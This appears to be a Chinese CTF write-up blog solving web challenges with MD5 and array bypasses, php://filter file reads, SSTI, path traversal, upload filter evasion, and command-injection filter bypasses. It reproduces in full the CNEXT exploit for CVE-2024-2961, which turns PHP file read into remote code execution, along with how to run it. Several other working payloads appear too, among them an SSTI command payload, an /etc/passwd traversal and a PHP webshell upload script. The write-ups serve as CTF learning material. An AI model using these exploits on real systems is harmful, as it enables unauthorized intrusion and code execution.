def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

此处需要满足self.checkSign()

需要满足getSign(self.action, self.param) == self.sign

需要hashlib.md5(secert_key + param + action).hexdigest()== self.sign

就等同于hashlib.md5(secert_key + ‘flag.txt’ + ‘scanread’).hexdigest()== self.sign

所以我们要得到secert_key + ‘flag.txt’ + ‘scanread’的哈希值

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’

/geneSign?param=flag.txtread

image-20260118121836842

得到了哈希值efa325f1a9f0f3244cfb88e9e227fb9f

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#cookie传参action
param = urllib.unquote(request.args.get("param", ""))#get传参param
sign = urllib.unquote(request.cookies.get("sign"))#cookie传参sign参数sign
ip = request.remote_addr#获取请求的ip地址

if waf(param):#利用waf函数进行过滤
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

然后访问/De1ta

cookie值传参action和sign

image-20260118121843692

1
2
3
/De1ta?param=flag.txt

Cookie:action=readscan;sign=efa325f1a9f0f3244cfb88e9e227fb9f

[GDOUCTF 2023]EZ WEB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

/super-secret-route-nobody-will-guess在这个路径下运用put方式传参即可获得flag

用bp抓包

image-20260118121907152

[SWPUCTF 2022 新生赛]奇妙的MD5

看到了一个登录界面,题目提示是md5.就用一个MD5万能密码:ffifdyop

image-20260118121913426

跳转后ctrl+u查看源码

image-20260118121920077

利用数组进行绕过

?x[]=1&y[]=2

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

依旧是数组绕过

wqh[]=1&dsy[]=2

[HNCTF 2022 Week1]easy_html

image-20260118121932188

查看/.%2Ff14g.php

image-20260118121938022

看到了登陆界面

img

将最大长度改为11,然后输入11位数字

image-20260118121944275

[羊城杯 2020]easycon

进行目录扫描

image-20260118121953257

先访问index.php

image-20260118121959650

弹窗显示alert(‘eval post cmd’),POST传参参数为cmd

image-20260118122005234

查看bbbbbbbbb.txt

image-20260118122010912

给了一堆不知道是什么的,像编码

image-20260118122018018是图片的编码,转为图片得到flag

[MoeCTF 2022]baby_file

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

?file=php://filter/read=convert.base64-encode/resource=flag.php

[GKCTF 2020]cve版签到

image-20260118123350559

1
?url=http://127.0.0.1%00www.ctfhub.com

image-20260118123356646

1
?url=http://127.0.0.123%00www.ctfhub.com

image-20260118123418128

[GDOUCTF 2023]受不了一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
别来沾边

需要在post传参GET传参中用数组绕过

payload

1
2
3
?aaa=114514a&bbb=114514&1=flag&flag=1
gdou[]=1&ctf[]=2
cookie=j0k3r

[HNCTF 2022 Week1]Interesting_http

image-20260118123602641

猜测post传参参数为want

image-20260118123608140

bp抓包

image-20260118123614690

提示notadmin,修改cookie

image-20260118123620417

提示不是这个地址,就用本地绕过

image-20260118123625991

[HNCTF 2022 Week1]What is Web

查看源码在最后找到了这个base64编码

用在线网站解码即可得到flag

image-20260118153010511

[SWPUCTF 2025 秋季新生赛]我是签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```

Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
self.url = url
self.session = Session()

def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url, data={"file": path})

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")


def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"

result = safe_download(path)

if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()

LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

self.info["heap"] = self.heap or self.find_main_heap(regions)

# Libc

libc = self._get_region(regions, "libc-", "libc.so")

self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:
"""On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.

Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.

The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:

... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

By triggering the bug from chunk ..900, we get:

... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

That's step 3.

Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.

Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:

0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.

Another problem comes up.

To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
prefix them with `0\n`. When dechunked (right before the iconv), they will
"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.

After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.

The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.

Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""

LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

将这串代码在虚拟机中运行

需要用到虚拟机中的虚拟环境

安装虚拟环境

1
python3 -m venv myenv 

激活虚拟环境

1
source myenv/bin/activate 

需要安装ten库

1
pip3 install ten  

安装pwn环境

1
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools 

在虚拟环境中执行命令

1
python3 cve111.py http://node10.anna.nssctf.cn:27403/ "env > 1.txt"  

然后访问2.txt

img

[NISACTF 2022]babyupload

尝试bp抓包传一句话木马,发现jpg,php这些后缀名均被过滤

image-20260131170723703

查看源码发现有一个/souorce目录

image-20260131170900508

发现是一个zip压缩包打开是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

代码审计发现是把.过滤了

1
2
if "." in file.filename:
return "Bad filename!", 403

且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的,这里就涉及到os.path.join()的绝对路径拼接漏洞

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径

第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径,所以此处我们只需将文件名修改为/flag即可

image-20260131171802621

image-20260131171806381

[MoeCTF 2021]babyRCE

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

代码审计

system($rce)会执行参数rce,所以传入的值是命令

看到过滤了很多命令还有空格和数字,就用转义符绕过

payload

1
?rce=c\at${IFS}f\lag.php

[HNCTF 2022 WEEK2]ez_SSTI

image-20260210212937765

题目提示是ssti就要找注入点,猜测get传参,参数是name

payload

1
?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}

image-20260210212943623

又要一个安全的方式就用POST

image-20260210212948243

得到了一个路径

看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
error_reporting(__FILE__);
highlight_file(__FILE__);
Include('hello.php');

$NSS=$_POST['NSS'];
$ATM=$_GET['CTF'];
$CTF=$_GET['ATM'];

if ($CTF!=$ATM ){
if (is_string($CTF)&&is_string($ATM)){
if (md5($ATM)==md5($CTF)){
include($NSS);//f1ag在/f1ag里面,快通过include拿到它
}else{
echo '诶嘿,但是我就是要让ATM==CTF,不然你就别想拿到f1ag,不服进nss来揍我';
}
}else{
echo '不准无脑用数组,实打实的学才能学得好';
}
}else{
echo 'ATM怎么能是CTF呢';
}

if ($NSS=='I love CTF'){
echo $f1agfile;
}
?> ATM怎么能是CTF呢

image-20260210212953791

payload

1
NSS=I love CTF

拿到了flag的路径

payload

1
?CTF=s878926199a&ATM=s155964671a

利用模糊匹配绕过MD5

image-20260210213002676

payload

1
NSS=/f1ag

利用include查看flag

image-20260210213006105

image-20260210213010940

CVE-2021-43798

image-20260210213015876

登录界面,admin&admin登录成功

image-20260210213020338

搜了一下这个漏洞是目录遍历

bp抓包

payload

1
/public/plugins/welcome/../../../../../../../../../etc/passwd

image-20260210213025047

测试成功可以访问

payload

1
/public/plugins/welcome/../../../../../../../../../flag

image-20260210213030005

[NSSCTF 2nd]php签到

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

代码审计

1
2
3
4
5
6
7
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}

定义了一个waf,过滤了配置文件和ph后缀名

1
2
3
4
5
6
7
8
9
10
11
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

是一个文件上传但是没有给真正上传文件的地方就想到可能是要手动上传文件

重点看一下$_FILES的用法

$_FILES是php的一个超全局数组,用于接收POST上传的文件信息

抓包试了半天还是没有成功就看了wp才发现要在kali里面运行脚本

1
2
3
4
5
6
7
import requests

url = 'http://node5.anna.nssctf.cn:29872/' # 上传文件地址
file_content = "<?php system(env); ?>"
files = {'file': ('3.php%2f.', file_content)}
response = requests.post(url=url, files=files)
print(response.text)

用3.php%2f.绕过waf,然后回到网站访问3.php

image-20260210213037012

[NCTF 2018]小绿草之最强大脑

查看页面源码

image-20260210213041110

提示源码泄露,就扫目录看一下

image-20260210213046025

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>

分析源码

每次通过post方式传入ans要大于21位,每次请求发送的时间要在1-2秒之间,感觉肯定要用脚本了,就从网上搬了个脚本跑一下

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url = 'http://node4.anna.nssctf.cn:22412'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url) #发get包,获取题目
